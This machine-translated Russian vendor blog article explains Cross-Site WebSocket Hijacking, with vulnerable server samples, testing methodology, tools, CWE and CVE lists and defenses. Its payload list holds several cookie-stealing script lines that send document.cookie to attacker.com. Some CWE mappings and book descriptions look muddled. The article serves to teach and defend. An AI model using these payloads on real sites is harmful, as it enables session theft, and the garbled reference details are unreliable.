22 Фев, 2023

Межсайтовый перехват веб-сокета (CSWH)

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Межсайтовый перехват веб-сокета (CSWH) это уязвимость системы безопасности, возникающая, когда злоумышленник получает несанкционированный доступ к соединению WebSocket, установленному между клиентом и сервером. Злоумышленник может использовать эту уязвимость для перехвата и манипулирования данными, передаваемыми между клиентом и сервером, что может поставить под угрозу конфиденциальность, целостность и доступность данных. Этот тип атаки может быть особенно опасен, поскольку он может произойти без ведома пользователя или сервера, и его может быть трудно обнаружить и предотвратить.

Пример уязвимого кода на разных языках программирования:


в JavaScript (Node.js ):

				
					const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', function connection(ws) {
  ws.on('message', function incoming(message) {
    console.log('received: %s', message);
    ws.send('Hello, you sent -> ' + message);
  });
});

				
			


В этом примере сервер WebSocket создается с использованием ws библиотека для Node.js . В wss объект прослушивает входящие соединения на порту 8080. Когда соединение установлено, ws объект обрабатывает входящие сообщения и отправляет ответ. Однако этот код уязвим для CSWH, поскольку он не реализует никакой защиты от несанкционированного доступа к соединению WebSocket.

• в Python (Торнадо):

				
					import tornado.websocket
import tornado.web

class EchoWebSocket(tornado.websocket.WebSocketHandler):
    def open(self):
        print("WebSocket opened")

    def on_message(self, message):
        print("Received message: %s" % message)
        self.write_message("You said: " + message)

    def on_close(self):
        print("WebSocket closed")

app = tornado.web.Application([
    (r"/websocket", EchoWebSocket),
])

if __name__ == "__main__":
    app.listen(8080)
    tornado.ioloop.IOLoop.current().start()

				
			


В этом примере показано, как создать сервер WebSocket с использованием библиотеки Tornado для Python. В EchoWebSocket класс определяет обработчик WebSocket, который обрабатывает входящие сообщения и отправляет ответ. Однако он уязвим для CSWH, поскольку не включает никаких мер по предотвращению несанкционированного доступа к соединению WebSocket.

• в Java (весенняя загрузка):

				
					import org.springframework.stereotype.Component;
import org.springframework.web.socket.WebSocketSession;
import org.springframework.web.socket.handler.TextWebSocketHandler;

@Component
public class MyWebSocketHandler extends TextWebSocketHandler {

    @Override
    public void afterConnectionEstablished(WebSocketSession session) {
        System.out.println("WebSocket connection opened");
    }

    @Override
    protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {
        System.out.println("Received message: " + message.getPayload());
        session.sendMessage(new TextMessage("You said: " + message.getPayload()));
    }
}

				
			


Этот Java-код создает сервер WebSocket с использованием Spring Boot. В MyWebSocketHandler класс обрабатывает входящие сообщения и отправляет ответ. Однако, как и в предыдущих примерах, он уязвим для CSWH, поскольку не реализует никаких мер по предотвращению несанкционированного доступа к соединению WebSocket.

Примеры использования межсайтового перехвата веб-сокета

Кража сеансовых файлов cookie:

Если веб-приложение использует соединения WebSocket для передачи файлов cookie сеанса, злоумышленник, который захватывает соединение WebSocket, может украсть файл cookie сеанса и использовать его для выдвижения себя за пользователя-жертву. Это может позволить злоумышленнику получить доступ к учетной записи пользователя, просмотреть его конфиденциальные данные или выполнить действия от его имени.

Изменение данных в процессе передачи:

Злоумышленник, который перехватывает соединение WebSocket, может изменить данные, передаваемые между клиентом и сервером. Например, злоумышленник может внедрить вредоносный код во фреймы WebSocket для выполнения межсайтовых скриптовых атак, внедрить вредоносное ПО или фишинговые ссылки или изменить содержимое данных, чтобы манипулировать поведением приложения.

Атаки типа "отказ в обслуживании" (DoS):

Злоумышленник, который перехватывает соединение с WebSocket, может отправить большое количество недопустимых или искаженных фреймов WebSocket на сервер, что приведет к сбою или отказу от ответа. Это может привести к DoS-атаке, которая не позволит законным пользователям получить доступ к сервису.

Атаки на подделку межсайтовых запросов (CSRF):

Если веб-приложение использует соединения WebSocket для передачи конфиденциальных данных или выполнения действий от имени пользователя, злоумышленник, который захватывает соединение WebSocket, может использовать его для проведения CSRF-атак. Например, злоумышленник может подделывать запросы на выполнение таких действий, как изменение пароля пользователя или перевод денег с его счета.

Методы повышения привилегий для межсайтового перехвата веб-сокетов

Перехват сеанса:

Злоумышленник, который успешно перехватывает соединение с WebSocket, может украсть токен сеанса пользователя и использовать его для олицетворения пользователя и получения доступа к его учетной записи с его привилегиями. Этот метод особенно эффективен, когда веб-приложение не применяет тайм-ауты сеанса или использует слабые токены сеанса, которые можно легко предсказать или принудительно использовать.

Обход аутентификации:

Злоумышленник, который перехватывает соединение WebSocket, может изменить данные аутентификации, передаваемые между клиентом и сервером, чтобы обойти проверки подлинности и получить доступ к привилегированным функциям. Например, злоумышленник может изменить фреймы WebSocket, чтобы выдавать себя за пользователя с более высокими привилегиями или обходить проверки на наличие ролей или разрешений.

Использование уязвимого кода:

CSWH может использоваться для использования уязвимостей в коде приложения, которые позволяют злоумышленнику выполнять произвольный код с повышенными привилегиями. Например, злоумышленник может внедрить вредоносный код во фреймы WebSocket, чтобы вызвать переполнение буфера, внедрение SQL или другие уязвимости, которые могут быть использованы для получения доступа к конфиденциальным данным или выполнения произвольного кода.

Использование других уязвимостей:

CSWH может использоваться в сочетании с другими уязвимостями, такими как межсайтовый скриптинг (XSS), для повышения привилегий и получения доступа к конфиденциальным данным или выполнения вредоносных действий с повышенными привилегиями. Например, злоумышленник может использовать CSWH для кражи токена сеанса администратора через уязвимость XSS и использовать его для получения административного доступа к приложению.

Общая методология и контрольный список для межсайтового перехвата веб-сокета

Меродология:

  1. Определение конечных точек веб-сокета: Определите конечные точки WebSocket, используемые веб-приложением. Обычно это можно сделать путем проверки исходного кода веб-страниц, поиска функций JavaScript, связанных с WebSocket, или с помощью инструмента анализа сетевого трафика для определения трафика WebSocket.

  2. Анализ трафика веб-сокета: Захват трафика WebSocket с помощью инструмента анализа сетевого трафика, такого как Wireshark или Burp Suite. Проанализируйте трафик, чтобы идентифицировать сообщения WebSocket и понять структуру и содержание сообщений.

  3. Выявление потенциальных уязвимостей: Ищите уязвимости в реализации WebSocket, которые могут быть использованы для CSWH. Это может включать небезопасные механизмы аутентификации или авторизации, недостаточную проверку входных данных или слабое управление сеансами.

  4. Тест на CSWH: Используйте различные методы для проверки CSWH, такие как отправка искаженных сообщений WebSocket, попытка перехватить соединения WebSocket путем подделки сообщений WebSocket или попытки украсть токены сеанса или выполнить несанкционированные действия с использованием взломанных соединений.

  5. Проверка результатов: Подтвердите результаты тестирования, проверив, были ли атаки CSWH успешными, и выявив любые ложноположительные или ложноотрицательные результаты. При обнаружении уязвимостей сообщите о них соответствующим сторонам и работайте с ними над устранением проблем.

  6. Повторное тестирование: После устранения неполадок повторно протестируйте реализацию WebSocket, чтобы убедиться, что уязвимости были полностью устранены.

Контрольный список:

  1. Определение конечных точек веб-сокета: Определите конечные точки WebSocket, используемые веб-приложением.

  2. Протестируйте подключение к WebSocket: Убедитесь, что соединение с WebSocket может быть установлено и что связь с WebSocket функционирует должным образом.

  3. Анализ трафика веб-сокета: Захват трафика WebSocket с помощью инструмента анализа сетевого трафика, такого как Wireshark или Burp Suite. Проанализируйте трафик, чтобы идентифицировать сообщения WebSocket и понять структуру и содержание сообщений.

  4. Проверка на наличие искаженных сообщений WebSocket: Отправляйте искаженные сообщения WebSocket, чтобы проверить, как приложение обрабатывает неверные или неожиданные входные данные.

  5. Проверка на нарушения протокола WebSocket: Отправляйте сообщения WebSocket, которые нарушают протокол WebSocket, чтобы проверить, как приложение справляется с нарушениями протокола.

  6. Проверка на наличие уязвимостей для взлома: Попытка перехвата подключений к WebSocket путем подделки сообщений WebSocket или кражи токенов сеанса.

  7. Проверка на наличие уязвимостей аутентификации и авторизации: Протестируйте механизмы аутентификации и авторизации приложения, чтобы выявить уязвимости, которые могут быть использованы для CSWH.

  8. Тест на уязвимости при внедрении: Проверьте наличие уязвимостей для внедрения, таких как внедрение SQL или межсайтовый скриптинг (XSS), которые могут быть использованы для выполнения CSWH-атак.

  9. Проверка на наличие других уязвимостей: Проверьте наличие других уязвимостей, таких как переполнение буфера или уязвимости при внедрении кода, которые могут быть использованы для выполнения CSWH-атак.

  10. Проверка результатов: Подтвердите результаты тестирования, проверив, были ли атаки CSWH успешными, и выявив любые ложноположительные или ложноотрицательные результаты.

  11. Повторное тестирование: После устранения неполадок повторно протестируйте реализацию WebSocket, чтобы убедиться, что уязвимости были полностью устранены.

Набор инструментов для эксплуатации Перехват межсайтового веб-сокета

Ручные Инструменты:

  • Burp Suite: Платформа тестирования безопасности веб-приложений, которая включает в себя набор инструментов для выполнения ручного и автоматического тестирования. Инструмент WebSocket Repeater в Burp Suite можно использовать для ручной отправки сообщений WebSocket для проверки CSWH.

  • Wireshark: Анализатор сетевых протоколов, который можно использовать для сбора и анализа трафика WebSocket для выявления уязвимостей, которые могут быть использованы для CSWH.

  • Chrome DevTools: Инструменты разработчика, встроенные в веб-браузер Google Chrome, можно использовать для ручной проверки трафика WebSocket и проверки на наличие уязвимостей, которые могут быть использованы для CSWH.

  • Firefox Web Console: Веб-консоль, встроенная в веб-браузер Mozilla Firefox, может использоваться для ручной проверки трафика WebSocket и проверки на наличие уязвимостей, которые могут быть использованы для CSWH.

  • Charles Proxy: Прокси-сервер веб-отладки, который можно использовать для перехвата и анализа трафика WebSocket для выявления уязвимостей, которые могут быть использованы для CSWH.

  • OWASP ZAP: Платформа тестирования безопасности веб-приложений с открытым исходным кодом, которая включает в себя набор инструментов для выполнения ручного и автоматического тестирования. Функциональность тестирования WebSocket в ZAP можно использовать для проверки уязвимостей, которые могут быть использованы для CSWH.

  • Fiddler: Прокси-сервер веб-отладки, который можно использовать для перехвата и анализа трафика WebSocket для выявления уязвимостей, которые могут быть использованы для CSWH.

  • Netcat: Простая утилита для чтения и записи данных через сетевые подключения. Netcat можно использовать для ручной отправки сообщений WebSocket для проверки CSWH.

Автоматизированные инструменты:

  • Wstest: Инструмент командной строки для тестирования реализаций WebSocket, который поддерживает множество сценариев тестирования WebSocket, включая тестирование уязвимостей, которые могут быть использованы для CSWH.

  • SockJS-Client: Библиотека JavaScript для создания клиентов WebSocket, которую можно использовать для автоматизации тестирования уязвимостей CSWH.

  • WSFuzzer: Скрипт на Python, который можно использовать для выполнения автоматического тестирования уязвимостей WebSocket, включая уязвимости, которые могут быть использованы для CSWH.

  • WS-Attacker: Инструмент для тестирования безопасности WebSocket, который включает в себя набор модулей атаки для тестирования уязвимостей, которые могут быть использованы для CSWH.

  • TestWebSocket.org: Веб-инструмент тестирования, который можно использовать для автоматического тестирования уязвимостей WebSocket, включая уязвимости, которые могут быть использованы для CSWH.

  • WebSockets Load Tester: Инструмент нагрузочного тестирования для приложений WebSocket, который можно использовать для проверки уязвимостей, которые могут быть использованы для CSWH в условиях интенсивного трафика.

  • Gauntlt: Платформа тестирования безопасности с открытым исходным кодом, которая включает в себя набор инструментов для выполнения автоматического тестирования. Функциональность тестирования WebSocket в Gauntlt можно использовать для проверки уязвимостей, которые могут быть использованы для CSWH.

  • Ws-Security Testing Tool: Веб-инструмент тестирования, который можно использовать для тестирования реализаций WebSocket на наличие уязвимостей, которые могут быть использованы для CSWH.

  • Rapid7 Metasploit: Платформа тестирования на проникновение с открытым исходным кодом, которая включает в себя набор инструментов для выполнения автоматического тестирования. Модули тестирования WebSocket в Metasploit можно использовать для проверки уязвимостей, которые могут быть использованы для CSWH.

  • ws-safety: Веб-инструмент тестирования, который можно использовать для автоматического тестирования уязвимостей WebSocket, включая уязвимости, которые могут быть использованы для CSWH.

  • Websocket-echo: Тестовый сервер WebSocket, который можно использовать для тестирования клиентов WebSocket на наличие уязвимостей, которые могут быть использованы для CSWH.

  • Zap-WebSocket: Надстройка для платформы тестирования OWASP ZAP, которая включает в себя функциональность тестирования, специфичную для WebSocket, для тестирования реализаций WebSocket на наличие уязвимостей, которые могут быть использованы для CSWH.

Средний балл CVSS перехват межсайтового веб-сокета стека

Общая система оценки уязвимостей (CVSS) - это платформа для оценки серьезности уязвимостей в системе безопасности. Оценка CVSS представляет собой числовое значение в диапазоне от 0,0 до 10,0, причем более высокие оценки указывают на более серьезные уязвимости.

Оценка CVSS для уязвимостей, связанных с межсайтовым перехватом веб-сокетов (CSWH), может сильно различаться в зависимости от конкретной уязвимости и ее воздействия. Однако в целом уязвимости, связанные с CSWH, как правило, имеют рейтинг от умеренной до высокой степени серьезности.

Например, уязвимость, которая позволяет злоумышленнику украсть пользовательские данные через скомпрометированное соединение WebSocket, может иметь оценку CVSS от 7,5 до 8,0, что указывает на высокий уровень серьезности. Однако уязвимость, которая позволяет злоумышленнику использовать скомпрометированное соединение WebSocket для выполнения менее важных действий, таких как отправка спам-сообщений, может иметь более низкий показатель CVSS, возможно, в диапазоне от 4,0 до 5,0.

Общее перечисление слабых мест (CWE)

• CWE-352: Подделка межсайтовых запросов (CSRF): CSRF может использоваться для использования соединений WebSocket, позволяя злоумышленнику выполнять действия от имени аутентифицированного пользователя.

• CWE-601: перенаправление URL-адреса на ненадежный сайт ("Открытое перенаправление"): уязвимость с открытым перенаправлением может использоваться для перенаправления пользователя на вредоносное соединение WebSocket, позволяя злоумышленнику использовать это соединение.

• CWE-602: обеспечение безопасности на стороне клиента на стороне сервера: обеспечение безопасности WebSocket на стороне клиента может быть легко обойдено злоумышленником, что позволяет ему перехватить соединение с WebSocket.

• CWE-611: Неправильное ограничение ссылки на внешнюю сущность XML: злоумышленник может использовать уязвимость в реализации WebSocket для выполнения произвольного кода на сервере.

• CWE-614: конфиденциальный файл cookie в сеансе HTTPS без атрибута ‘Secure’: уязвимость, которая позволяет передавать конфиденциальные файлы cookie по незашифрованным соединениям WebSocket, может быть использована злоумышленником для кражи пользовательских данных.

• CWE-643: Неправильная нейтрализация данных в выражениях XPath ("Внедрение XPath"): уязвимость, которая позволяет злоумышленнику вводить вредоносные выражения XPath в сообщения WebSocket, может быть использована для использования соединения с WebSocket.

• CWE-646: Зависимость от имени файла или расширения ненадежных данных: злоумышленник может использовать подключение к WebSocket, чтобы обмануть сервер и заставить его обслуживать вредоносные файлы или данные.

• CWE-661: Слабый механизм восстановления пароля для забытых паролей: Слабые механизмы восстановления пароля могут быть использованы злоумышленником для получения доступа к соединениям WebSocket.

• CWE-863: Неправильная авторизация: уязвимость в реализации WebSocket может позволить злоумышленнику обойти проверки авторизации и получить несанкционированный доступ к соединению WebSocket.

• CWE-918: Подделка запросов на стороне сервера (SSRF): SSRF может использоваться для использования соединений WebSocket путем обмана сервера при отправке запросов к неавторизованным хостам или службам.

CVE, связанные с межсайтовым захватом веб-сокета

• CVE-2021-37840 – aaPanel через 6.8.12 разрешает межсайтовый перехват веб-сокетов (CSWH), включающий команды ОС в сообщениях WebSocket по адресу ws:// URL для /webssh (жертва должна иметь настроенный терминал хотя бы с одним хостом). Успешное использование зависит от браузера, используемого потенциальной жертвой (например, использование может происходить с Firefox, но не с Chrome).

• CVE-2021-21588 – Dell EMC PowerFlex версии v3.5.x содержит уязвимость межсайтового перехвата веб-сокета в сервере презентаций / WebUI. Злоумышленник, не прошедший проверку подлинности, потенциально может воспользоваться этой уязвимостью, обманом заставив пользователя выполнить нежелательные действия на сервере презентаций и выполнить, что может привести к изменениям конфигурации.

• CVE-2021-1403 – Уязвимость в функции веб-интерфейса программного обеспечения Cisco IOS XE может позволить удаленному злоумышленнику, не прошедшему проверку подлинности, провести межсайтовую атаку с захватом веб-сокета (CSWSH) и вызвать отказ в обслуживании (DoS) на уязвимом устройстве. Эта уязвимость связана с недостаточной защитой HTTP в веб-интерфейсе на уязвимом устройстве. Злоумышленник может воспользоваться этой уязвимостью, убедив аутентифицированного пользователя веб-интерфейса перейти по созданной ссылке. Успешный эксплойт может позволить злоумышленнику повредить память на уязвимом устройстве, что приведет к его перезагрузке и вызовет состояние DoS.

• CVE-2020-25095 – LogRhythm Platform Manager (PM) 7.4.9 разрешает CSRF. Веб-интерфейс уязвим для межсайтового перехвата WebSocket (CSWH). Если зарегистрированный пользователь PM посещает вредоносный сайт в том же сеансе браузера, этот сайт может выполнить CSRF-атаку для создания веб-сокета от клиента жертвы к уязвимому серверу PM. Как только сокет создан, вредоносный сайт может взаимодействовать с уязвимым веб-сервером в контексте вошедшего в систему пользователя. Это может включать полезные нагрузки WebSocket, которые приводят к выполнению команды.

• CVE-2020-14368 – В Eclipse Che в версиях до 7.14.0 был обнаружен недостаток, который влияет на рабочие области CodeReady. При настройке аутентификации с использованием файлов cookie среда IDE не устанавливает должным образом значение SameSite, что позволяет подделывать межсайтовые запросы (CSRF) и, следовательно, позволяет перехватывать межсайтовые веб-сокеты в среде IDE. Этот недостаток позволяет злоумышленнику получить полный доступ к рабочему пространству жертвы через конечную точку /services. Чтобы выполнить успешную атаку, злоумышленник проводит атаку "Человек посередине" (MITM) и обманом заставляет жертву выполнить запрос по ненадежной ссылке, которая выполняет CSRF и перехват сокета. Наибольшая угроза, исходящая от этой уязвимости, связана с конфиденциальностью, целостностью, а также доступностью системы.

• CVE-2019-17654 – Уязвимость с недостаточной проверкой подлинности данных в FortiManager 6.2.1, 6.2.0, 6.0.6 и ниже может позволить злоумышленнику, не прошедшему проверку подлинности, выполнить межсайтовую атаку с захватом веб-сокета (CSWSH).

• CVE-2019-13611 – Проблема была обнаружена в python-engineerio через 3.8.2. Существует уязвимость межсайтового перехвата веб-сокетов (CSWSH), которая позволяет злоумышленникам устанавливать веб-соединения с сервером, используя учетные данные жертвы, поскольку исходный заголовок не ограничен.

• CVE-2019-13209 – Rancher со 2 по 2.2.4 уязвим для межсайтовой атаки с захватом веб-сокета, которая позволяет злоумышленнику получить доступ к кластерам, управляемым Rancher. Для атаки требуется, чтобы жертва вошла на сервер Rancher, а затем получила доступ к стороннему сайту, размещенному злоумышленником. Как только это будет выполнено, злоумышленник сможет выполнять команды для Kubernetes API кластера с разрешениями и идентификатором жертвы.

• CVE-2015-0259 – OpenStack Compute (Nova) до 2014.1.4, 2014.2.x до 2014.2.3 и kilo до kilo-3 не проверяет происхождение запросов websocket, что позволяет удаленным злоумышленникам перехватывать аутентификацию пользователей для доступа к консолям через созданную веб-страницу.

Перехват межсайтового веб-сокета подвиги

  • Кража пользовательских данных: Злоумышленник может использовать подключение к WebSocket для кражи пользовательских данных, таких как имена пользователей, пароли или конфиденциальная информация.

  • Манипулирование данными: Злоумышленник может изменять сообщения WebSocket для манипулирования данными, например, изменять цены или количество в онлайн-корзине покупок.

  • Удаленное выполнение кода (RCE): Злоумышленник может воспользоваться уязвимостью в реализации WebSocket для выполнения произвольного кода на сервере.

  • CSRF -атаки: Злоумышленник может использовать подключение к WebSocket для выполнения действий от имени прошедшего проверку пользователя, таких как совершение несанкционированных покупок или изменение настроек учетной записи.

  • DDoS-атаки: Злоумышленник может использовать скомпрометированное соединение WebSocket для запуска распределенных атак типа "Отказ в обслуживании" (DDoS) против целевого сервера или сети.

  • Рассылка спама: Злоумышленник может использовать подключение к WebSocket для рассылки пользователям спам-сообщений, потенциально распространяя вредоносное ПО или фишинговые ссылки.

  • Доставка вредоносных программ: Злоумышленник может использовать подключение к WebSocket для доставки вредоносного ПО на клиентские устройства, что может поставить под угрозу их безопасность.

  • Подделка данных: Злоумышленник может изменять сообщения WebSocket, чтобы изменять передаваемые данные, что может привести к системным ошибкам или уязвимостям.

  • Отслеживание пользователей: Злоумышленник может использовать скомпрометированное подключение к WebSocket для отслеживания активности пользователей, потенциально нарушая их конфиденциальность.

  • Поглощение системы: Злоумышленник может воспользоваться уязвимостью WebSocket для получения несанкционированного доступа к серверу или сети, потенциально захватив всю систему.

Практикуясь в тестировании на Перехват межсайтового веб-сокета

  1. Создание уязвимой среды: Вы можете создать уязвимое веб-приложение, использующее подключения к WebSocket, или найти существующее уязвимое приложение для тестирования.

  2. Определение потенциальных векторов атак: просмотрите код и конфигурацию приложения, чтобы определить потенциальные векторы атак для CSWH, такие как проверка сообщений WebSocket, аутентификация пользователей и управление сеансами.

  3. Выберите методику тестирования: выберите методику тестирования для CSWH, такую как ручное тестирование, автоматическое сканирование или сочетание того и другого.

  4. Выполните ручное тестирование: используйте комбинацию ручных методов, таких как отправка специально созданных сообщений WebSocket, перехват трафика WebSocket с помощью прокси-сервера и просмотр журналов приложений на предмет признаков атак CSWH.

  5. Используйте автоматизированные инструменты: Вы можете использовать автоматические сканеры уязвимостей и инструменты тестирования, которые могут выявить общие уязвимости и слабые места, связанные с CSWH.

  6. Проверьте на наличие других связанных уязвимостей: Подделка межсайтовых запросов (CSRF), межсайтовый скриптинг (XSS) и другие связанные уязвимости также могут влиять на соединения с WebSocket, поэтому важно также протестировать их.

  7. Документируйте и сообщайте об уязвимостях: регистрируйте любые уязвимости или слабые места, обнаруженные во время тестирования, и сообщайте о них соответствующим сторонам для устранения.

Некоторые ресурсы для практического тестирования на CSWH включают:

• Руководство по тестированию OWASP: Проект Open Web Application Security Project (OWASP) предоставляет полное руководство по тестированию веб-приложений, включая тестирование уязвимостей WebSocket.

• Burp Suite: Burp Suite - это популярный инструмент тестирования веб-приложений, который включает поддержку тестирования и перехвата веб-сокетов.

• ZAP: ZAP - это инструмент тестирования веб-приложений с открытым исходным кодом, который включает поддержку тестирования и сканирования WebSocket.

• HackTheBox: HackTheBox - это платформа, которая предоставляет уязвимые виртуальные машины для тестирования на проникновение, включая веб-приложения с уязвимостями WebSocket.

Для изучения межсайтового перехвата веб-сокетов

Шпаргалка по безопасности OWASP WebSocket: Эта шпаргалка содержит обзор распространенных проблем безопасности WebSocket и методов их устранения.

RFC 6455: Протокол WebSocket: Это официальная спецификация протокола WebSocket, которая предоставляет информацию о том, как работают соединения WebSocket.

Академия веб-безопасности Portswigger's: Эта бесплатная обучающая онлайн-платформа включает раздел по безопасности WebSocket, в котором рассматриваются распространенные уязвимости и методы тестирования.

Практическое использование веб-сокетов: Это исследовательская работа исследователя безопасности Гарета Хейеса, в которой подробно рассматриваются проблемы безопасности WebSocket и методы их использования.

Хактбокс: Как упоминалось ранее, HackTheBox предоставляет уязвимые виртуальные машины для тестирования на проникновение, включая веб-приложения с уязвимостями WebSocket.

Платформы вознаграждения за ошибки: Такие платформы, как HackerOne и Bugcrowd, часто имеют веб-приложения с уязвимостями WebSocket, которые можно обнаружить и сообщить о них за вознаграждение.

Книги по веб-безопасности: Существует множество книг по веб-безопасности, в которых рассматриваются уязвимости веб-сокетов и методы их использования, такие как “Руководство хакера веб-приложений” Дэвида Штуттарда и Маркуса Пинто и “Black Hat Python” Джастина Сейтца.

Конференции по вопросам безопасности: Посещение конференций по безопасности, таких как DEF CON и Black Hat, может дать ценную информацию об уязвимостях WebSocket и методах их использования, а также о возможностях общения с другими специалистами по безопасности.

Онлайн-курсы: Такие платформы, как Udemy, Coursera и edX, предлагают онлайн-курсы по веб-безопасности и тестированию на проникновение, которые охватывают уязвимости WebSocket и методы эксплуатации.

Книги с обзором межсайтового взлома веб-сокета

“Запутанная сеть: руководство по обеспечению безопасности современных веб-приложений” Михал Залевский – Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений, включая подробное обсуждение уязвимостей WebSocket и способов их защиты.

“Websockets для разработчиков PHP” Джон Р. Хити – Эта книга представляет собой введение в использование WebSockets с PHP, включая обсуждение соображений безопасности и потенциальных уязвимостей.

“Руководство хакера веб-приложений: поиск и использование недостатков безопасности” Дэфидд Штуттард и Маркус Пинто – Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений, включая обсуждение уязвимостей WebSocket и методов их использования.

“Поиск ошибок в реальном мире: практическое руководство по веб-хакингу” Питер Яворски – Эта книга представляет собой практическое руководство по тестированию безопасности веб-приложений, включая обсуждение уязвимостей WebSocket.

“Атаки с использованием межсайтовых скриптов: эксплойты XSS и защита” Сет Фоги, Иеремия Гроссман и Роберт Хансен – Хотя эта книга посвящена уязвимостям межсайтового скриптинга (XSS), она включает в себя обсуждение безопасности WebSocket и того, как ее можно использовать.

“Хакерство: искусство эксплуатации” автор: Джон Эриксон – Эта книга представляет собой всеобъемлющее руководство по методам взлома, включая обсуждение уязвимостей WebSocket и методов использования.

“Black Hat Python: программирование на Python для хакеров и пентестеров” автор: Джастин Зейтц – Эта книга представляет собой руководство по использованию Python для взлома и тестирования на проникновение, включая обсуждение уязвимостей WebSocket и методов эксплуатации.

“Практическое тестирование на проникновение в Сеть с помощью Metasploit” автор: Сунил Гупта – Эта книга представляет собой практическое руководство по тестированию веб-приложений на проникновение с использованием платформы Metasploit, включая обсуждение уязвимостей WebSocket.

“Освоение WebSocket” автор: Эндрю Ломбарди – Эта книга представляет собой подробное руководство по использованию WebSockets для обмена данными в режиме реального времени в веб-приложениях, включая обсуждение соображений безопасности и уязвимостей.

“Профессиональное тестирование на проникновение: создание и функционирование официальной хакерской лаборатории” автор: Томас Вильгельм – Эта книга представляет собой руководство по созданию и эксплуатации лаборатории тестирования на проникновение, включая обсуждение уязвимостей WebSocket и способов их тестирования.

Список полезных нагрузок Перехват межсайтового веб-сокета

  • <script>document.location="http://attacker.com/steal?data="+document.cookie;</script> Эта полезная нагрузка перенаправляет браузер жертвы на сервер злоумышленника и отправляет файлы cookie жертвы в качестве параметра в URL-адресе.

  • <script>var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?data='+document.cookie, true); xhr.send();</script> Эта полезная нагрузка отправляет файлы cookie жертвы на сервер злоумышленника с помощью запроса XMLHttpRequest.

  • <script>window.name = document.cookie;</script> Эта полезная нагрузка хранит файлы cookie жертвы в window.name свойство и позволяет злоумышленнику получить к ним доступ из другого домена, используя window.name техника.

  • <script>var ws = new WebSocket('ws://attacker.com'); ws.onopen = function() { ws.send(document.cookie); }</script> Эта полезная нагрузка отправляет файлы cookie жертвы на сервер злоумышленника, используя соединение WebSocket.

  • <img src="https://attacker.com/steal?data="+document.cookie> Эта полезная нагрузка отправляет файлы cookie жертвы на сервер злоумышленника путем встраивания тега изображения на страницу.

  • <iframe src="https://attacker.com/steal?data="+document.cookie></iframe> Эта полезная нагрузка отправляет файлы cookie жертвы на сервер злоумышленника путем встраивания iframe в страницу.

Как защититься от межсайтового взлома веб-сокета

  1. Убедитесь, что ваше веб-приложение использует последнюю версию протокола WebSocket, который включает встроенные меры защиты от межсайтовых атак с использованием веб-сокетов.

  2. Используйте HTTPS для всех подключений к WebSocket, чтобы предотвратить подслушивание и атаки "человек посередине".

  3. Внедрите надлежащее управление сеансами для предотвращения несанкционированного доступа к данным сеанса.

  4. Используйте надежные и уникальные идентификаторы сеансов, которые невозможно легко угадать или использовать методом перебора.

  5. Внедрите надлежащую проверку входных данных и очистку, чтобы предотвратить инъекционные атаки.

  6. Используйте заголовок Политики безопасности содержимого (CSP), чтобы ограничить источники исполняемого кода и предотвратить внедрение кода.

  7. Внедрите надлежащие политики совместного использования ресурсов из разных источников (CORS), чтобы ограничить доступ к ресурсам WebSocket.

  8. Рассмотрите возможность использования брандмауэра веб-приложений (WAF), который может обнаруживать и блокировать межсайтовые атаки с перехватом веб-сокетов.

  9. Используйте флаг защищенности при настройке файлов cookie, чтобы гарантировать, что они передаются только по HTTPS-соединениям.

  10. Регулярно проверяйте свое веб-приложение на наличие уязвимостей и применяйте исправления безопасности, как только они станут доступны.

Меры по предотвращению межсайтового перехвата веб-сокетов

  1. Внедрите механизмы защиты от подделки межсайтовых запросов CSRF (Cross-Site Request Forgery), такие как использование токенов CSRF, для предотвращения отправки несанкционированных запросов из браузера пользователя.

  2. Используйте атрибут SameSite для файлов cookie, который запрещает браузеру отправлять файлы cookie в межсайтовых запросах.

  3. Применяйте правильную проверку входных данных и кодирование выходных данных ко всем предоставленным пользователем данным, чтобы предотвратить атаки с использованием инъекций.

  4. Используйте HTTPS для всех подключений к WebSocket, чтобы предотвратить подслушивание и атаки "человек посередине".

  5. Используйте заголовок Политики безопасности содержимого (CSP), чтобы ограничить источники исполняемого кода и предотвратить внедрение кода.

  6. Внедрите надлежащие политики совместного использования ресурсов из разных источников (CORS), чтобы ограничить доступ к ресурсам WebSocket.

  7. Используйте флаг защищенности при настройке файлов cookie, чтобы гарантировать, что они передаются только по HTTPS-соединениям.

  8. Рассмотрите возможность внедрения ограничения скорости, чтобы злоумышленники не могли использовать уязвимости, отправляя большое количество запросов.

  9. Рассмотрите возможность использования брандмауэра веб-приложений (WAF), который может обнаруживать и блокировать межсайтовые атаки с перехватом веб-сокетов.

  10. Регулярно проверяйте свое веб-приложение на наличие уязвимостей и применяйте исправления безопасности, как только они станут доступны.

Заключение

Межсайтовый перехват веб-сокета (CSWH) это тип атаки, нацеленной на веб-приложения, использующие протокол WebSocket. Эта атака может позволить злоумышленнику получить несанкционированный доступ к данным сеанса пользователя и выполнить произвольный код в браузере пользователя.

Для предотвращения CSWH-атак важно реализовать комбинацию мер безопасности, таких как надлежащее управление сеансами, проверка и очистка входных данных, политики совместного использования ресурсов (CORS), заголовки политики безопасности контента (CSP) и HTTPS-соединения для обмена данными через WebSocket. Кроме того, внедрение механизмов защиты CSRF и использование атрибута SameSite для файлов cookie также может помочь снизить риск атак.

Хотя существуют как ручные, так и автоматические инструменты для тестирования и использования уязвимостей CSWH, важно практиковать ответственное раскрытие информации при сообщении об уязвимостях и тесно сотрудничать с разработчиками для внедрения необходимых исправлений.

Другие Услуги

Готовы к безопасности?

Связаться с нами